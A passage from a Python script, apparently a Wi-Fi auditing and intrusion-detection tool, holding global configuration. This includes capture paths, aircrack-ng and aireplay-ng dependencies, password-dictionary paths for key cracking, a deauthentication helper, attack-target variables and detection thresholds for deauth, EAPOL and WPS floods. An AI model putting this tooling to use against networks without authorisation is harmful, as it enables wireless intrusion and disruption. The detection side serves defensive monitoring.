923;7924;7925;7926;7927;7928;7929;7930;7931;7932;7933;7934;7935;7936;7937;7938;7939;7940;7941;7942;7943;7944;7945;7946;7947;7948;7949;7950;7951;7952;7953;7954;7955;7956;7957;7958;7959;7960;7961;7962;7963;7964;7965;7966;7967;7968;7969;7970;7971;7972;7973;7974;7975;7976;7977;7978;7979;7980;7981;7982;7983;7984;7985;7986;7987;7988;7989;7990;7991;7992;7993;7994;7995;7996;7997;7998;7999;8000;8001;8002;8003;8004;8005;8006;8007;8008;8009;8010;8011;8012;8013;8014;8015;8016;8017;8018;8019;8020;8021;8022;8023;8024;8025;8026;8027;8028;8029;8030;8031;8032;8033;8034;8035;8036;8037;8038;8039;8040;8041;8042;8043;8044;8045;8046;8047;8048;8049;8050;8051;8052;8053;8054;8055;8056;8057;8058;8059;8060;8061;8062;8063;8064;8065;8066;8067;8068;8069;8070;8071;8072;8073;8074;8075;8076;8077;8078;8079;8080;8081;8082;8083;8084;8085;8086;8087;8088;8089;8090;8091;8092;8093;8094;8095;8096;8097;8098;8099;8100;8101;8102;8103;8104;8105;8106;8107;8108;8109;8110;8111;8112;8113;8114;8115;8116;8117;8118;8119;8120;8121;8122;8123;8124;8125;8126;8127;8128;8129;8130;8131;8132;8133;8134;8135;8136;8137;8138;8139;8140;8141;8142;8143;8144;8145;8146;8147;8148;8149;8150;8151;8152;8153;8154;8155;8156;8157;8158;8159;8160;8161;8162;8163;8164;8165;8166;8167;8168;8169;8170;8171;8172;8173;8174;8175;8176;8177;8178;8179;8180;8181;8182;8183;8184;8185;8186;8187;8188;8189;8190;8191;8192;8193;8194;8195;8196;8197;8198;8199;8200;8201;8202;8203;8204;8205;8206;8207;8208;8209;8210;8211;8212;8213;8214;8215;8216;8217;8218;8219;8220;8221;8222;8223;8224;8225;8226;8227;8228;8229;8230;8231;8232;8233;8234;8235;8236;8237;8238;8239;8240;8241;8242;8243;8244;8245;8246;8247;8248;8249;8250;8251;8252;8253;8254;8255;8256;8257;8258;8259;8260;8261;8262;8263;8264;8265;8266;8267;8268;8269;8270;8271;8272;8273;8274;8275;8276;8277;8278;8279;8280;8281;8282;8283;8284;8285;8286;8287;8288;8289;8290;8291;8292;8293;8294;8295;8296;8297;8298;8299;8300;8301;8302;8303;8304;8305;8306;8307;8308;8309;8310;8311;8312;8313;8314;8315;8316;8317;8318;8319;8320;8321;8322;8323;8324;8325;8326;8327;8328;8329;8330;8331;8332;8333;8334;8335;8336;8337;8338;8339;8340;8341;8342;8343;8344;8345;8346;8347;8348;8349;8350;8351;8352;8353;8354;8355;8356;8357;8358;8359;8360;8361;8362;8363;8364;8365;8366;8367;8368;8369;8370;8371;8372;8373;8374;8375;8376;8377;8378;8379;8380;8381;8382;8383;8384;8385;8386;8387;8388;8389;8390;8391;8392;8393;8394;8395;8396;8397;8398;8399;8400;8401;8402;8403;8404;8405;8406;8407;8408;8409;8410;8411;8412;8413;8414;8415;8416;8417;8418;8419;8420;8421;8422;8423;8424;8425;8426;8427;8428;8429;8430;8431;8432;8433;8434;8435;8436;8437;8438;8439;8440;8441;8442;8443;8444;8445;8446;8447;8448;8449;8450;8451;8452;8453;8454;8455;8456;8457;8458;8459;8460;8461;8462;8463;8464;8465;8466;8467;8468;8469;8470;8471;8472;8473;8474;8475;8476;8477;8478;8479;8480;8481;8482;8483;8484;8485;8486;8487;8488;8489;8490;8491;8492;8493;8494;8495;8496;8497;8498;8499;8500;8501;8502;8503;8504;8505;8506;8507;8508;8509;8510;8511;8512;8513;8514;8515;8516;8517;8518;8519;8520;8521;8522;8523;8524;8525;8526;8527;8528;8529;8530;8531;8532;8533;8534;8535;8536;8537;8538;8539;8540;8541;8542;8543;8544;8545;8546;8547;8548;8549;8550;8551;8552;8553;8554;8555;8556;8557;8558;8559;8560;8561;8562;8563;8564;8565;8566;8567;8568;8569;8570;8571;8572;8573;8574;8575;8576;8577;8578;8579;8580;8581;8582;8583;8584;8585;8586;8587;8588;8589;8590;8591;8592;8593;8594;8595;8596;8597;8598;8599;8600;8601;8602;8603;8604;8605;8606;8607;8608;8609;8610;8611;8612;8613;8614;8615;8616;8617;8618;8619;8620;8621;8622;8623;8624;8625;8626;8627;8628;8629;8630;8631;8632;8633;8634;8635;8636;8637;8638;8639;8640;8641;8642;8643;8644;8645;8646;8647;8648;8649;8650;8651;8652;8653;8654;8655;8656;8657;8658;8659;8660;8661;8662;8663;8664;8665;8666;8667;8668;8669;8670;8671;8672;8673;8674;8675;8676;8677;8678;8679;8680;8681;8682;8683;8684;8685;8686;8687;8688;8689;8690;8691;8692;8693;8694;8695;8696;8697;8698;8699;8700;8701;8702;8703;8704;8705;8706;8707;8708;8709;8710;8711;8712;8713;8714;8715;8716;8717;8718;8719;8720;8721;8722;8723;8724;8725;8726;8727;8728;8729;8730;8731;8732;8733;8734;8735;8736;8737;8738;8739;8740;8741;8742;8743;8744;8745;8746;8747;8748;8749;8750;8751;8752;8753;8754;8755;8756;8757;8758;8759;8760;8761;8762;8763;8764;8765;8766;8767;8768;8769;8770;8771;8772;8773;8774;8775;8776;8777;8778;8779;8780;8781;8782;8783;8784;8785;8786;8787;8788;8789;8790;8791;8792;8793;8794;8795;8796;8797;8798;8799;8800;8801;8802;8803;8804;8805;8806;8807;8808;8809;8810;8811;8812;8813;8814;8815;8816;8817;8818;8819;8820;8821;8822;8823;8824;8825;8826;8827;8828;8829;8830;8831;8832;8833;8834;8835;8836;8837;8838;8839;8840;8841;8842;8843;8844;8845;8846;8847;8848;8849;8850;8851;8852;8853;8854;8855;8856;8857;8858;8859;8860;8861;8862;8863;8864;8865;8866;8867;8868;8869;8870;8871;8872;8873;8874;8875;8876;8877;8878;8879;8880;8881;8882;8883;8884;8885;8886;8887;8889;8890;8891;8892;8893;8894;8895;8896;8897;8898;8899;8900;8901;8902;8903;8904;8905;8906;8907;8908;8909;8910;8911;8912;8913;8914;8915;8916;8917;8918;8919;8920;8921;8922;8923;8924;8925;8926;8927;8928;8929;8930;8931;8932;8933;8934;8935;8936;8937;8938;8939;8940;8941;8942;8943;8944;8945;8946;8947;8948;8949;8950;8951;8952;8953;8954;8955;8956;8957;8958;8959;8960;8961;8962;8963;8964;8965;8966;8967;8968;8969;8970;8971;8972;8973;8974;8975;8976;8977;8978;8979;8980;8981;8982;8983;8984;8985;8986;8987;8988;8989;8990;8991;8992;8993;8994;8995;8996;8997;8998;8999;9000;9001;9002;9003;9004;9005;9006;9007;9008;9009;9010;9011;9012;9013;9014;9015;9016;9017;9018;9019;9020;9021;9022;9023;9024;9025;9026;9027;9028;9029;9030;9031;9032;9033;9034;9035;9036;9037;9038;9039;9040;9041;9042;9043;9044;9045;9046;9047;9048;9049;9050;9051;9052;9053;9054;9055;9056;9057;9058;9059;9060;9061;9062;9063;9064;9065;9066;9067;9068;9069;9070;9071;9072;9073;9074;9075;9076;9077;9078;9079;9080;9081;9082;9083;9084;9085;9086;9087;9088;9089;9090;9091;9092;9093;9094;9095;9096;9097;9098;9099;9100;9101;9102;9103;9104;9105;9106;9107;9108;9109;9110;9111;9112;9113;9114;9115;9116;9117;9118;9119;9120;9121;9122;9123;9124;9125;9126;9127;9128;9129;9130;9131;9132;9133;9134;9135;9136;9137;9138;9139;9140;9141;9142;9143;9144;9145;9146;9147;9148;9149;9150;9151;9152;9153;9154;9155;9156;9157;9158;9159;9160;9161;9162;9163;9164;9165;9166;9167;9168;9169;9170;9171;9172;9173;9174;9175;9176;9177;9178;9179;9180;9181;9182;9183;9184;9185;9186;9187;9188;9189;9190;9191;9192;9193;9194;9195;9196;9197;9198;9199;9200;9201;9202;9203;9204;9205;9206;9207;9208;9209;9210;9211;9212;9213;9214;9215;9216;9217;9218;9219;9220;9221;9222;9223;9224;9225;9226;9227;9228;9229;9230;9231;9232;9233;9234;9235;9236;9237;9238;9239;9240;9241;9242;9243;9244;9245;9246;9247;9248;9249;9250;9251;9252;9253;9254;9255;9256;9257;9258;9259;9260;9261;9262;9263;9264;9265;9266;9267;9268;9269;9270;9271;9272;9273;9274;9275;9276;9277;9278;9279;9280;9281;9282;9283;9284;9285;9286;9287;9288;9289;9290;9291;9292;9293;9294;9295;9296;9297;9298;9299;9300;9301;9302;9303;9304;9305;9306;9307;9308;9309;9310;9311;9312;9313;9314;9315;9316;9317;9318;9319;9320;9321;9322;9323;9324;9325;9326;9327;9328;9329;9330;9331;9332;9333;9334;9335;9336;9337;9338;9339;9340;9341;9342;9343;9344;9345;9346;9347;9348;9349;9350;9351;9352;9353;9354;9355;9356;9357;9358;9359;9360;9361;9362;9363;9364;9365;9366;9367;9368;9369;9370;9371;9372;9373;9374;9375;9376;9377;9378;9379;9380;9381;9382;9383;9384;9385;9386;9387;9388;9389;9390;9391;9392;9393;9394;9395;9396;9397;9398;9399;9400;9401;9402;9403;9404;9405;9406;9407;9408;9409;9410;9411;9412;9413;9414;9415;9416;9417;9418;9419;9420;9421;9422;9423;9424;9425;9426;9427;9428;9429;9430;9431;9432;9433;9434;9435;9436;9437;9438;9439;9440;9441;9442;9443;9444;9445;9446;9447;9448;9449;9450;9451;9452;9453;9454;9455;9456;9457;9458;9459;9460;9461;9462;9463;9464;9465;9466;9467;9468;9469;9470;9471;9472;9473;9474;9475;9476;9477;9478;9479;9480;9481;9482;9483;9484;9485;9486;9487;9488;9489;9490;9491;9492;9493;9494;9495;9496;9497;9498;9499;9500;9501;9502;9503;9504;9505;9506;9507;9508;9509;9510;9511;9512;9513;9514;9515;9516;9517;9518;9519;9520;9521;9522;9523;9524;9525;9526;9527;9528;9529;9530;9531;9532;9533;9534;9535;9536;9537;9538;9539;9540;9541;9542;9543;9544;9545;9546;9547;9548;9549;9550;9551;9552;9553;9554;9555;9556;9557;9558;9559;9560;9561;9562;9563;9564;9565;9566;9567;9568;9569;9570;9571;9572;9573;9574;9575;9576;9577;9578;9579;9580;9581;9582;9583;9584;9585;9586;9587;9588;9589;9590;9591;9592;9593;9594;9595;9596;9597;9598;9599;9600;9601;9602;9603;9604;9605;9606;9607;9608;9609;9610;9611;9612;9613;9614;9615;9616;9617;9618;9619;9620;9621;9622;9623;9624;9625;9626;9627;9628;9629;9630;9631;9632;9633;9634;9635;9636;9637;9638;9639;9640;9641;9642;9643;9644;9645;9646;9647;9648;9649;9650;9651;9652;9653;9654;9655;9656;9657;9658;9659;9660;9661;9662;9663;9664;9665;9666;9667;9668;9669;9670;9671;9672;9673;9674;9675;9676;9677;9678;9679;9680;9681;9682;9683;9684;9685;9686;9687;9688;9689;9690;9691;9692;9693;9694;9695;9696;9697;9698;9699;9700;9701;9702;9703;9704;9705;9706;9707;9708;9709;9710;9711;9712;9713;9714;9715;9716;9717;9718;9719;9720;9721;9722;9723;9724;9725;9726;9727;9728;9729;9730;9731;9732;9733;9734;9735;9736;9737;9738;9739;9740;9741;9742;9743;9744;9745;9746;9747;9748;9749;9750;9751;9752;9753;9754;9755;9756;9757;9758;9759;9760;9761;9762;9763;9764;9765;9766;9767;9768;9769;9770;9771;9772;9773;9774;9775;9776;9777;9778;9779;9780;9781;9782;9783;9784;9785;9786;9787;9788;9789;9790;9791;9792;9793;9794;9795;9796;9797;9798;9799;9800;9801;9802;9803;9804;9805;9806;9807;9808;9809;9810;9811;9812;9813;9814;9815;9816;9817;9818;9819;9820;9821;9822;9823;9824;9825;9826;9827;9828;9829;9830;9831;9832;9833;9834;9835;9836;9837;9838;9839;9840;9841;9842;9843;9844;9845;9846;9847;9848;9849;9850;9851;9852;9853;9854;9855;9856;9857;9858;9859;9860;9861;9862;9863;9864;9865;9866;9867;9868;9869;9870;9871;9872;9873;9874;9875;9876;9877;9878;9879;9880;9881;9882;9883;9884;9885;9886;9887;9888;9889;9890;9891;9892;9893;9894;9895;9896;9897;9898;9899;9900;9901;9902;9903;9904;9905;9906;9907;9908;9909;9910;9911;9912;9913;9914;9915;9916;9917;9918;9919;9920;9921;9922;9923;9924;9925;9926;9927;9928;9929;9930;9931;9932;9933;9934;9935;9936;9937;9938;9939;9940;9941;9942;9943;9944;9945;9946;9947;9948;9949;9950;9951;9952;9953;9954;9955;9956;9957;9958;9959;9960;9961;9962;9963;9964;9965;9966;9967;9968;9969;9970;9971;9972;9973;9974;9975;9976;9977;9978;9979;9980;9981;9982;9983;9984;9985;9986;9987;9988;9989;9990;9991;9992;9993;9994;9995;9996;9997;9998;567;000;222;333;444;555;598;666;777;888;999;001;002;003;004;005;006;007;008;009;010;011;012;013;014;015;016;017;018;019;020;021;022;023;024;025;026;027;028;029;030;031;032;033;034;035;036;037;038;039;040;041;042;043;044;045;046;047;048;049;050;051;052;053;054;055;056;057;058;059;060;061;062;063;064;065;066;067;068;069;070;071;072;073;074;075;076;077;078;079;080;081;082;083;084;085;086;087;088;089;090;091;092;093;094;095;096;097;098;099;100;101;102;103;104;105;106;107;108;109;110;111;112;113;114;115;116;117;118;119;120;121;122;123;124;125;126;127;128;129;130;131;132;133;134;135;136;137;138;139;140;141;142;143;144;145;146;147;148;149;150;151;152;153;154;155;156;157;158;159;160;161;162;163;164;165;166;167;168;169;170;171;172;173;174;175;176;177;178;179;180;181;182;183;184;185;186;187;188;189;190;191;192;193;194;195;196;197;198;199;200;201;202;203;204;205;206;207;208;209;210;211;212;213;214;215;216;217;218;219;220;221;223;224;225;226;227;228;229;230;231;232;233;234;235;236;237;238;239;240;241;242;243;244;245;246;247;248;249;250;251;252;253;254;255;256;257;258;259;260;261;262;263;264;265;266;267;268;269;270;271;272;273;274;275;276;277;278;279;280;281;282;283;284;285;286;287;288;289;290;291;292;293;294;295;296;297;298;299;300;301;302;303;304;305;306;307;308;309;310;311;312;313;314;315;316;317;318;319;320;321;322;323;324;325;326;327;328;329;330;331;332;334;335;336;337;338;339;340;341;342;343;344;345;346;347;348;349;350;351;352;353;354;355;356;357;358;359;360;361;362;363;364;365;366;367;368;369;370;371;372;373;374;375;376;377;378;379;380;381;382;383;384;385;386;387;388;389;390;391;392;393;394;395;396;397;398;399;400;401;402;403;404;405;406;407;408;409;410;411;412;413;414;415;416;417;418;419;420;421;422;423;424;425;426;427;428;429;430;431;432;433;434;435;436;437;438;439;440;441;442;443;445;446;447;448;449;450;451;452;453;454;455;456;457;458;459;460;461;462;463;464;465;466;467;468;469;470;471;472;473;474;475;476;477;478;479;480;481;482;483;484;485;486;487;488;489;490;491;492;493;494;495;496;497;498;499;500;501;502;503;504;505;506;507;508;509;510;511;512;513;514;515;516;517;518;519;520;521;522;523;524;525;526;527;528;529;530;531;532;533;534;535;536;537;538;539;540;541;542;543;544;545;546;547;548;549;550;551;552;553;554;556;557;558;559;560;561;562;563;564;565;566;568;569;570;571;572;573;574;575;576;577;578;579;580;581;582;583;584;585;586;587;588;589;590;591;592;593;594;595;596;597;599;600;601;602;603;604;605;606;607;608;609;610;611;612;613;614;615;616;617;618;619;620;621;622;623;624;625;626;627;628;629;630;631;632;633;634;635;636;637;638;639;640;641;642;643;644;645;646;647;648;649;650;651;652;653;654;655;656;657;658;659;660;661;662;663;664;665;667;668;669;670;671;672;673;674;675;676;677;678;679;680;681;682;683;684;685;686;687;688;689;690;691;692;693;694;695;696;697;698;699;700;701;702;703;704;705;706;707;708;709;710;711;712;713;714;715;716;717;718;719;720;721;722;723;724;725;726;727;728;729;730;731;732;733;734;735;736;737;738;739;740;741;742;743;744;745;746;747;748;749;750;751;752;753;754;755;756;757;758;759;760;761;762;763;764;765;766;767;768;769;770;771;772;773;774;775;776;778;779;780;781;782;783;784;785;786;787;788;789;790;791;792;793;794;795;796;797;798;799;800;801;802;803;804;805;806;807;808;809;810;811;812;813;814;815;816;817;818;819;820;821;822;823;824;825;826;827;828;829;830;831;832;833;834;835;836;837;838;839;840;841;842;843;844;845;846;847;848;849;850;851;852;853;854;855;856;857;858;859;860;861;862;863;864;865;866;867;868;869;870;871;872;873;874;875;876;877;878;879;880;881;882;883;884;885;886;887;889;890;891;892;893;894;895;896;897;898;899;900;901;902;903;904;905;906;907;908;909;910;911;912;913;914;915;916;917;918;919;920;921;922;923;924;925;926;927;928;929;930;931;932;933;934;935;936;937;938;939;940;941;942;943;944;945;946;947;948;949;950;951;952;953;954;955;956;957;958;959;960;961;962;963;964;965;966;967;968;969;970;971;972;973;974;975;976;977;978;979;980;981;982;983;984;985;986;987;988;989;990;991;992;993;994;995;996;997;998;"
__builtin__.SELECTED_MANIFACE_MAC=[];__builtin__.SELECTED_IFACE_MAC=[];__builtin__.SELECTED_ATK=[];__builtin__.SELECTED_MON_MAC=[];__builtin__.SELECTED_ATK_MAC=[];__builtin__.MonitoringMACList=[];__builtin__.WhiteMACList=[];__builtin__.WhiteNameList=[]
__builtin__.ScriptName=os.path.basename(__file__)
__builtin__.ScriptFullPath=str(os.path.realpath(os.path.dirname(sys.argv[0]))) + "/" + str(os.path.basename(__file__))
__builtin__.IPSScript=appdir + "Stn.DeAuth.py"
__builtin__.Dictionary=['/usr/share/john/password.lst','/usr/share/nmap/nselib/data/passwords.lst']
__builtin__.RequiredFiles=['tshark', 'airodump-ng', 'aireplay-ng','aircrack-ng','iwconfig', 'ifconfig', 'xterm', 'wireshark','tcpdump','wpa_supplicant']
__builtin__.Captured_CSV=tmpdir + "Collect-Dump-01.csv"
__builtin__.NewCaptured_CSV=tmpdir + "Dumps.csv"
__builtin__.NewCaptured_CSVFront=tmpdir + "Dumps-Front.csv"
__builtin__.SSID_CSV=tmpdir + "Dumps-SSID.csv"
__builtin__.Client_CSV=tmpdir + "Dumps-Client.csv"
__builtin__.Captured_Kismet=tmpdir + "Collect-Dump-01.kismet.csv"
__builtin__.NewCaptured_Kismet=tmpdir + "Dumps-kismet.csv"
__builtin__.WPS_DUMP=tmpdir + "WPS-Dump"
__builtin__.TMP_IWList_DUMP=tmpdir + "SSID.tmp"
__builtin__.IWList_DUMP=tmpdir + "SSID"
__builtin__.TCPDumpFile=tmpdir + "MON_TCPDump"
__builtin__.TSharkFile=tmpdir + "MON_TShark"
__builtin__.PacketDumpFile=tmpdir + "MON_PacketDump.cap"
__builtin__.PacketDumpFileBak=tmpdir + "BAK_PacketDump.cap"
__builtin__.PacketDumpFileBak2=tmpdir + "BAK_PacketDump.cap"
__builtin__.CurrentPacket=__builtin__.PacketDumpFileBak
__builtin__.TCPDumpFileBak=tmpdir + "BAK_TCPDump"
__builtin__.TSharkFileBak=tmpdir + "BAK_TSharkNew"
__builtin__.TSharkFileBak2=tmpdir + "BAK_TSharkNew2"
__builtin__.TSharkFileBak_Std=tmpdir + "BAK_TSharkStd"
__builtin__.CapFile=""
__builtin__.CapFileSize=""
__builtin__.WiresharkCap=tmpdir + "LiveCaptured.cap"
__builtin__.SavedTSharkFile=savedir + "_TShark_Analysed"
__builtin__.SavedTCPDumpFile=savedir + "_TCPDump_Analysed"
__builtin__.SavedKeyStream=""
__builtin__.SavedDecrypted=""
__builtin__.SavedChosen=""
ToDisplay=""
__builtin__.ERRORFOUND=0
__builtin__.Infrastructure_DumpList = []
__builtin__.Client_DumpList = []
__builtin__.ListInfo_BSSIDTimes = []
__builtin__.ListInfo_ESSID = []
__builtin__.ListInfo_BSSID = []
__builtin__.ListInfo_ESS = []
__builtin__.ListInfo_Channel = []
__builtin__.ListInfo_APStandard = []
__builtin__.ListInfo_Cloaked = []
__builtin__.ListInfo_Privacy = []
__builtin__.ListInfo_Cipher = []
__builtin__.ListInfo_Auth = []
__builtin__.ListInfo_MaxRate = []
__builtin__.ListInfo_Beacon = []
__builtin__.ListInfo_Data = []
__builtin__.ListInfo_Total = []
__builtin__.ListInfo_FirstSeen = []
__builtin__.ListInfo_LastSeen = []
__builtin__.ListInfo_BestQuality = []
__builtin__.ListInfo_QualityRange = []
__builtin__.ListInfo_QualityPercent = []
__builtin__.ListInfo_BestSignal = []
__builtin__.ListInfo_BestNoise = []
__builtin__.ListInfo_GPSBestLat = []
__builtin__.ListInfo_GPSBestLon = []
__builtin__.ListInfo_GPSBestAlt = []
__builtin__.ListInfo_HiddenSSID = []
__builtin__.ListInfo_BSSID_OUI = []
__builtin__.ListInfo_ConnectedClient = []
__builtin__.ListInfo_Enriched = []
__builtin__.ListInfo_Freq = []
__builtin__.ListInfo_Quality = []
__builtin__.ListInfo_Signal = []
__builtin__.ListInfo_BitRate = []
__builtin__.ListInfo_WPAVer = []
__builtin__.ListInfo_PairwiseCipher = []
__builtin__.ListInfo_GroupCipher = []
__builtin__.ListInfo_AuthSuite = []
__builtin__.ListInfo_LastBeacon = []
__builtin__.ListInfo_Mode = []
__builtin__.ListInfo_EncKey = []
__builtin__.ListInfo_CESSID = []
__builtin__.ListInfo_COUI = []
__builtin__.ListInfo_CElapse = []
__builtin__.ListInfo_SSIDElapse = []
__builtin__.ListInfo_SSIDTimeGap = []
__builtin__.ListInfo_SSIDTimeGapFull = []
__builtin__.ListInfo_CFirstSeen = []
__builtin__.ListInfo_CLastSeen = []
__builtin__.ListInfo_STATION = []
__builtin__.ListInfo_CBSSID = []
__builtin__.ListInfo_STNStandard = []
__builtin__.ListInfo_CBSSIDPrev = []
__builtin__.ListInfo_CBSSIDPrevList = []
__builtin__.ListInfo_CBestQuality = []
__builtin__.ListInfo_CQualityRange = []
__builtin__.ListInfo_CQualityPercent = []
__builtin__.ListInfo_CPackets = []
__builtin__.ListInfo_PROBE = []
__builtin__.ListInfo_CTimeGap = []
__builtin__.ListInfo_CTimeGapFull = []
__builtin__.ListInfo_WPS = []
__builtin__.ListInfo_WPSVer = []
__builtin__.ListInfo_WPSLock = []
__builtin__.ListInfo_Exist = 0
__builtin__.ListInfo_Add = 0
__builtin__.ListInfo_CExist = 0
__builtin__.ListInfo_CAdd = 0
__builtin__.ListInfo_UnassociatedCount = 0
__builtin__.ListInfo_AssociatedCount = 0
__builtin__.ListInfo_ProbeCount = 0
__builtin__.ListInfo_WPSExist = 0
__builtin__.ListInfo_WPSAdd = 0
__builtin__.ListInfo_WPSCount = 0
__builtin__.ListInfo_AllMAC=[]
__builtin__.ListInfo_AllMAC_Dup=[]
__builtin__.MONList = []
__builtin__.MONListC = []
__builtin__.DumpProc=""
__builtin__.DumpProcPID=""
__builtin__.WashProc=""
__builtin__.IWListProc=""
__builtin__.WashProcPID=""
__builtin__.NETWORK_FILTER="ALL"
__builtin__.NETWORK_SIGNAL_FILTER="ALL"
__builtin__.NETWORK_CHANNEL_FILTER="ALL"
__builtin__.NETWORK_WPS_FILTER="ALL"
__builtin__.NETWORK_CLIENT_FILTER="ALL"
__builtin__.NETWORK_PROBE_FILTER="ALL"
__builtin__.NETWORK_UPROBE_FILTER="ALL"
__builtin__.NETWORK_ASSOCIATED_FILTER="ALL"
__builtin__.NETWORK_UNASSOCIATED_FILTER="ALL"
__builtin__.NETWORK_CSIGNAL_FILTER="ALL"
__builtin__.NETWORK_UCSIGNAL_FILTER="ALL"
__builtin__.NETWORK_ESSID_FILTER=""
__builtin__.NETWORK_BSSID_FILTER=""
__builtin__.MSG_HistoryConnection=""
__builtin__.MSG_AttacksLogging=""
__builtin__.MSG_SuspiciousListing=""
__builtin__.MSG_CombinationLogs=""
__builtin__.ShowBSSIDList = []
__builtin__.ShowStationList = []
__builtin__.SearchLen=""
__builtin__.DisplayNetworkFilter=""
__builtin__.DisplayClientFilter=""
__builtin__.DisplayUnassocFilter=""
__builtin__.DisplayAllFilter=""
__builtin__.AP_BSSIDList=[]
__builtin__.AP_FREQList=[]
__builtin__.AP_QUALITYList=[]
__builtin__.AP_SIGNALList=[]
__builtin__.AP_ENCKEYList=[]
__builtin__.AP_ESSIDList=[]
__builtin__.AP_MODEList=[]
__builtin__.AP_CHANNELList=[]
__builtin__.AP_ENCTYPEList=[]
__builtin__.WEP_PPS=600
__builtin__.ListInfo_CExist = 0
__builtin__.ListInfo_CAdd = 0
__builtin__.ListInfo_CRemoved = 0
__builtin__.ListInfo_BRemoved = 0
__builtin__.SHOWRESULT=0
__builtin__.ANALYSIS_PROBE=1
__builtin__.ANALYSIS_BEACON=1
__builtin__.ANALYSIS_ACK=1
__builtin__.ANALYSIS_SEARCH=[]
__builtin__.ANALYSIS_MAC=[]
__builtin__.ANALYSIS_IGNORE=[]
__builtin__.ANALYSIS_TYPE=['PROBE_REQUEST', 'PROBE_RESPONSE', 'BEACON','ACKNOWLEDGEMENT']
__builtin__.LASTCMD=""
__builtin__.LASTCMDLOG=""
__builtin__.TotalLine=0
__builtin__.UsableLine=0
__builtin__.LOAD_WPS="Yes"
__builtin__.LOAD_IWLIST="Yes"
__builtin__.LOAD_PKTCAPTURE="Yes"
__builtin__.SAVE_MONPKT="No"
__builtin__.SAVE_ATTACKPKT="Yes"
__builtin__.DEFAULT_DICT=dbdir + "dictionary.txt"
__builtin__.SELECTED_DICT=""
__builtin__.PCapProc=""
__builtin__.SearchType=""
__builtin__.SearchTypelbl=""
__builtin__.SearchLen==""
__builtin__.MatchBSSIDCt=0
__builtin__.MatchStationCt=0
__builtin__.ShowBSSIDList = []
__builtin__.ShowStationList = []
__builtin__.ShowBSSIDList2 = []
__builtin__.ShowStationList2 = []
__builtin__.SELECTTYPE=""
__builtin__.SearchVal=""
__builtin__.USearchVal=""
__builtin__.FilePath=""
__builtin__.FileName=""
__builtin__.FileNameOnly=""
__builtin__.FileExt=""
__builtin__.FileSize=""
__builtin__.FileSizeB=""
__builtin__.List_ANALYZER=[]
__builtin__.List_FrMAC=[]
__builtin__.List_ToMAC=[]
__builtin__.List_BSSID=[]
__builtin__.List_DataARP=[]
__builtin__.List_Auth=[]
__builtin__.List_Deauth=[]
__builtin__.List_Deauth_AC=[]
__builtin__.List_Assoc=[]
__builtin__.List_Reassoc=[]
__builtin__.List_Disassoc=[]
__builtin__.List_RTS=[]
__builtin__.List_CTS=[]
__builtin__.List_ACK=[]
__builtin__.List_EAPOL_STD=[]
__builtin__.List_EAPOL_START=[]
__builtin__.List_WPS=[]
__builtin__.List_Beacon=[]
__builtin__.List_SSID=[]
__builtin__.List_SSIDCT=[]
__builtin__.List_IsAP=[]
__builtin__.List_PResp=[]
__builtin__.List_PReq=[]
__builtin__.List_ProbeName=[]
__builtin__.List_NULL=[]
__builtin__.List_QOS=[]
__builtin__.List_Data86=[]
__builtin__.List_Data98=[]
__builtin__.List_Data94=[]
__builtin__.OfInterest_List=[]
__builtin__.List_AttackingMAC=[]
__builtin__.List_MonitoringMAC=[]
__builtin__.List_AllMAC=[]
__builtin__.CUR_CLIENT=[]
__builtin__.CUR_CLIENT_FS=[]
__builtin__.CUR_CLIENT_LS=[]
__builtin__.CUR_CLIENT_PWR=[]
__builtin__.CUR_CLIENT_DATA=[]
__builtin__.CUR_CLIENT_PROBE=[]
__builtin__.CUR_CLIENT_MAC=[]
__builtin__.CUR_CLIENT_PDATA=[]
__builtin__.CUR_CLIENT_DATADIFF=[]
__builtin__.NEW_CLIENT=[]
__builtin__.NEW_CLIENT2=[]
__builtin__.NEW_CLIENT_FS=[]
__builtin__.NEW_CLIENT_LS=[]
__builtin__.NEW_CLIENT_PWR=[]
__builtin__.NEW_CLIENT_DATA=[]
__builtin__.NEW_CLIENT_PROBE=[]
__builtin__.ATTACK_AP_BSSID=""
__builtin__.ATTACK_AP_PWR=""
__builtin__.ATTACK_AP_DATA=""
__builtin__.ATTACK_AP_PDATA=""
__builtin__.ATTACK_AP_PBEACON=""
__builtin__.ATTACK_AP_FS=""
__builtin__.ATTACK_AP_LS=""
__builtin__.ATTACK_AP_ESSID=""
__builtin__.ATTACK_AP_BEACON=""
__builtin__.ATTACK_AP_PRIVACY=""
__builtin__.ATTACK_AP_CIPHER=""
__builtin__.ATTACK_AP_AUTH=""
__builtin__.ATTACK_AP_CH=""
__builtin__.ATTACK_AP_CLIENT=""
__builtin__.MONLogfile=""
__builtin__.LOG_AP_BSSID=""
__builtin__.LOG_AP_PWR=""
__builtin__.LOG_AP_HPWR=""
__builtin__.LOG_AP_LPWR=""
__builtin__.LOG_AP_CH=""
__builtin__.LOG_AP_CLIENT=""
__builtin__.LOG_AP_DATA=""
__builtin__.LOG_AP_PDATA=""
__builtin__.LOG_AP_PBEACON=""
__builtin__.LOG_AP_FS=""
__builtin__.LOG_AP_LS=""
__builtin__.LOG_AP_ESSID=""
__builtin__.LOG_AP_BEACON=""
__builtin__.LOG_AP_PRIVACY=""
__builtin__.LOG_AP_CIPHER=""
__builtin__.LOG_AP_AUTH=""
__builtin__.LOG_AP_RECORDED=""
__builtin__.FoundFiles=[]
__builtin__.FoundFiles_Filtered=[]
__builtin__.ExtList= ['pcap','cap']
__builtin__.SENSITIVITY_LVL=2
__builtin__.THRESHOLD_DATA86=100
__builtin__.THRESHOLD_DATAARP=100
__builtin__.THRESHOLD_DATA94=20
__builtin__.THRESHOLD_DATA98=100
__builtin__.THRESHOLD_ASSOC=10
__builtin__.THRESHOLD_DISASSOC=10
__builtin__.THRESHOLD_REASSOC=10
__builtin__.THRESHOLD_AUTH=10
__builtin__.THRESHOLD_DEAUTH=10
__builtin__.THRESHOLD_DEAUTH_AC=10
__builtin__.THRESHOLD_EAPOL_STD=5
__builtin__.THRESHOLD_EAPOL_START=5
__builtin__.THRESHOLD_WPS=5
__builtin__.THRESHOLD_QOS=20
__builtin__.THRESHOLD=10
__builtin__.FIXCHANNEL=0
__builtin__.AutoComplete=[]
__builtin__.ExtReadOut=""
__builtin__.SENSITIVITY_LVL1= ['50' ,'50' ,'15','50' ,'5' ,'5' ,'5' ,'5' ,'10','10','3','3' ,'3' ,'10',10]   # HIGH
__builtin__.SENSITIVITY_LVL2= ['100','100','20','100','10','10','10','10','20','20','5','5','5','20',10]   # MEDIUM
__builtin__.SENSITIVITY_LVL3= ['200','200','35','200','20','20','20','20','20','20','10','10','10','40',10]   # LOW
